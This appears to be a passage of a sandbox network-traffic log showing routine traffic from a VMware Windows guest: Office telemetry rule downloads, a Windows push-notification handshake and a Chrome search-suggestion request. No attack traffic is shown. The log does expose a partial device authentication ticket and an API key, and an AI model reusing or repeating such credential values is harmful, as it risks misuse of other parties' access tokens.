19	192.168.2.6	49728	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:18 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c47ae6f3-801e-007b-6937-26e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010718Z-17c5cb586f6z6tw6g7cmdv30m800000005gg0000000041zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49729	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010718Z-16849878b78smng4k6nq15r6s400000005vg000000007mdh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49730	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010718Z-16849878b785dznd7xpawq9gcn00000005qg00000000bzfh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49727	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:18 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 75 48 64 79 63 72 37 6f 55 36 76 43 71 65 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 37 63 35 65 35 30 32 35 66 38 66 39 61 30 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BuHdycr7oU6vCqei.1Context: 77c5e5025f8f9a0e
2024-10-28 01:07:18 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-28 01:07:18 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 75 48 64 79 63 72 37 6f 55 36 76 43 71 65 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 37 63 35 65 35 30 32 35 66 38 66 39 61 30 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 6c 79 43 7a 75 4e 77 52 62 48 43 51 63 41 48 39 6f 79 6a 35 65 75 69 6d 6c 31 31 78 46 6d 64 79 44 4c 74 72 2b 55 39 45 2f 2f 63 59 2f 6a 5a 77 31 65 6d 32 56 4d 67 53 70 77 55 51 62 64 64 50 78 42 69 74 6f 6e 5a 46 36 39 6c 6e 32 4b 61 6a 4f 6a 4e 4f 6a 69 73 67 76 68 6c 54 63 38 32 36 74 63 38 54 4c 52 4d 71 4b 49 36 78 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BuHdycr7oU6vCqei.2Context: 77c5e5025f8f9a0e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAelyCzuNwRbHCQcAH9oyj5euiml11xFmdyDLtr+U9E//cY/jZw1em2VMgSpwUQbddPxBitonZF69ln2KajOjNOjisgvhlTc826tc8TLRMqKI6x
2024-10-28 01:07:18 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 42 75 48 64 79 63 72 37 6f 55 36 76 43 71 65 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 37 63 35 65 35 30 32 35 66 38 66 39 61 30 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: BuHdycr7oU6vCqei.3Context: 77c5e5025f8f9a0e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-28 01:07:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-28 01:07:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 4b 55 47 2b 4a 73 64 44 30 79 77 4a 61 44 77 68 36 45 48 65 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TKUG+JsdD0ywJaDwh6EHeA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49736	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:19 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-15b8d89586fmc8ck21zz2rtg1w00000001h0000000004y1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49740	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 9956b93e-101e-0017-0e1a-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-17c5cb586f65j4snyp1hqk5z2s00000005m000000000eszb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:20 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49739	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-16849878b785jrf8dn0d2rczaw00000005cg00000000n6k6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49741	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 73bfd404-001e-0066-7fd4-26561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-17c5cb586f67hfgj2durhqcxk8000000032000000000er1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:20 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8d7929b6-101e-0017-6edc-2647c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010720Z-17c5cb586f6z6tw6g7cmdv30m800000005e0000000008bs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49738	142.250.186.68	443	6108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:20 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 01:07:20 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:20 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-E4kg1r7JYG6cmlWb-dP1oA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 01:07:20 UTC	112	IN	Data Raw: 31 30 30 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6b 61 6e 73 61 73 20 73 74 61 74 65 20 77 69 6c 64 63 61 74 73 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 65 6c 66 20 73 74 61 6e 6c 65 79 20 6c 69 70 20 6f 69 6c 20 68 6f 6c 64 65 72 22 2c 22 6e 65 74 66 6c 69 78 20 6d 6f 76 69 65 73 22 2c 22 6d 74 67 20 66 6f 75 6e 64 61 74 69 6f 6e 73 20 Data Ascii: 1004)]}'["",["kansas state wildcats football","elf stanley lip oil holder","netflix movies","mtg foundations
